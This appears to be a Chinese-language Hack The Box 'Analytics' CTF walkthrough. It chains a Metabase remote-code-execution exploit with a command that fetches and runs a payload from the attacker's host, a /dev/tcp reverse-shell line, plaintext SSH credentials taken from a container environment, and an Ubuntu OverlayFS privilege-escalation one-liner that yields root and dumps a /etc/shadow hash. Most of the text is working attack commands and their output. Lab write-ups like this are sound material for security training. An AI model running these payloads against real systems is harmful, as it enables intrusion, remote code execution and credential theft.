Scan
┌──(kali㉿kali)-[~/Desktop/htb/Analytics]
sudo nmap --min-rate 10000 10.10.11.233
password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-08 09:46 EDT
Nmap scan report for 10.10.11.233
Host is up (0.34s latency).
Not shown: 696 filtered tcp ports (no-response), 302 closed tcp ports (reset)
PORT STATE SERVICE
open ssh
open http
Nmap done: 1 IP address (1 host up) scanned in 3.44 seconds
┌──(kali㉿kali)-[~/Desktop/htb/Analytics]
sudo nmap -sT -sV -O -p11,80 10.10.11.233
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-08 09:51 EDT
┌──(kali㉿kali)-[~/Desktop/htb/Analytics]
sudo nmap -sT -sV -O -p22,80 10.10.11.233
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-08 09:51 EDT
Nmap scan report for 10.10.11.233
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
open http nginx 1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 - 5.3 (95%), Linux 4.15 - 5.6 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.70 seconds
Enum
访问80发现是metabase,想到最近的cve:https://www.metabase.com/blog/security-incident-summary
可以使用工具,元数据库 RCE 漏洞:https://github.com/robotmikhro/CVE-2023-38646
python3 single.py -u http://data.analytical.htb -c 'curl 10.10.14.44:8000/rev|bash'
rev file:
bash -i >& /dev/tcp/10.10.14.44/9001 0>&1
Escaping Docker Container
┌──(kali㉿kali)-[~/Desktop/htb/Analytics]
└─$ sudo nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.44] from (UNKNOWN) [10.10.11.233] 49914
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
de17e0ef4ebb:/$ id
id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
de17e0ef4ebb:/$ env
env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=de17e0ef4ebb
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=5
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env
de17e0ef4ebb:/$ ls -la /
ls -la /
total 96
drwxr-xr-x 1 root root 4096 Oct 8 08:52 .
drwxr-xr-x 1 root root 4096 Oct 8 08:52 ..
-rwxr-xr-x 1 root root 0 Oct 8 08:52 .dockerenv
drwxr-xr-x 1 root root 4096 Jun 29 20:40 app
drwxr-xr-x 1 root root 4096 Jun 29 20:39 bin
drwxr-xr-x 5 root root 340 Oct 8 08:52 dev
drwxr-xr-x 1 root root 4096 Oct 8 08:52 etc
drwxr-xr-x 1 root root 4096 Aug 3 12:16 home
drwxr-xr-x 1 root root 4096 Jun 14 15:03 lib
drwxr-xr-x 5 root root 4096 Jun 14 15:03 media
drwxr-xr-x 1 metabase metabase 4096 Aug 3 12:17 metabase.db
drwxr-xr-x 2 root root 4096 Jun 14 15:03 mnt
drwxr-xr-x 1 root root 4096 Jun 15 05:12 opt
drwxrwxrwx 1 root root 4096 Aug 7 11:10 plugins
dr-xr-xr-x 354 root root 0 Oct 8 08:52 proc
drwx------ 1 root root 4096 Aug 3 12:26 root
drwxr-xr-x 2 root root 4096 Jun 14 15:03 run
drwxr-xr-x 2 root root 4096 Jun 14 15:03 sbin
drwxr-xr-x 2 root root 4096 Jun 14 15:03 srv
dr-xr-xr-x 13 root root 0 Oct 8 08:52 sys
drwxrwxrwt 1 root root 4096 Oct 8 09:23 tmp
drwxr-xr-x 1 root root 4096 Jun 29 20:39 usr
drwxr-xr-x 1 root root 4096 Jun 14 15:03 var
de17e0ef4ebb:/$
得到ssh账密:metalytics:An4lytics_ds20223#
Root
根据文章:https://www.reddit.com/r/selfhosted/comments/15ecpck/ubuntu_local_privilege_escalation_cve20232640/
Ubuntu:23.04 22.10 22.04(不是 v5.15.0) 20.04(适用于 32629 的 v.5.4.0) 18.04(适用于 32629 的 v.5.4.0)
metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
mkdir: cannot create directory ‘l’: File exists
mkdir: cannot create directory ‘u’: File exists
mkdir: cannot create directory ‘w’: File exists
mkdir: cannot create directory ‘m’: File exists
uid=0(root) gid=1000(metalytics) groups=1000(metalytics)
metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("curl 10.10.14.44:8000/rev|bash")'
mkdir: cannot create directory ‘l’: File exists
mkdir: cannot create directory ‘u’: File exists
mkdir: cannot create directory ‘w’: File exists
mkdir: cannot create directory ‘m’: File exists
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 54 100 54 0 0 107 0 --:--:-- --:--:-- --:--:-- 108
root@analytics:~# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$aVUkVU8LWFNEuXdwrOIJH.$jF8hy0vMzBJTvu/.HkzP0E4ZObo1I.frOPRVj2ktqM2:19576:0:99999:7:::
原文始发于微信公众号(搁浅安全):HTB-Analytics(Easy)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论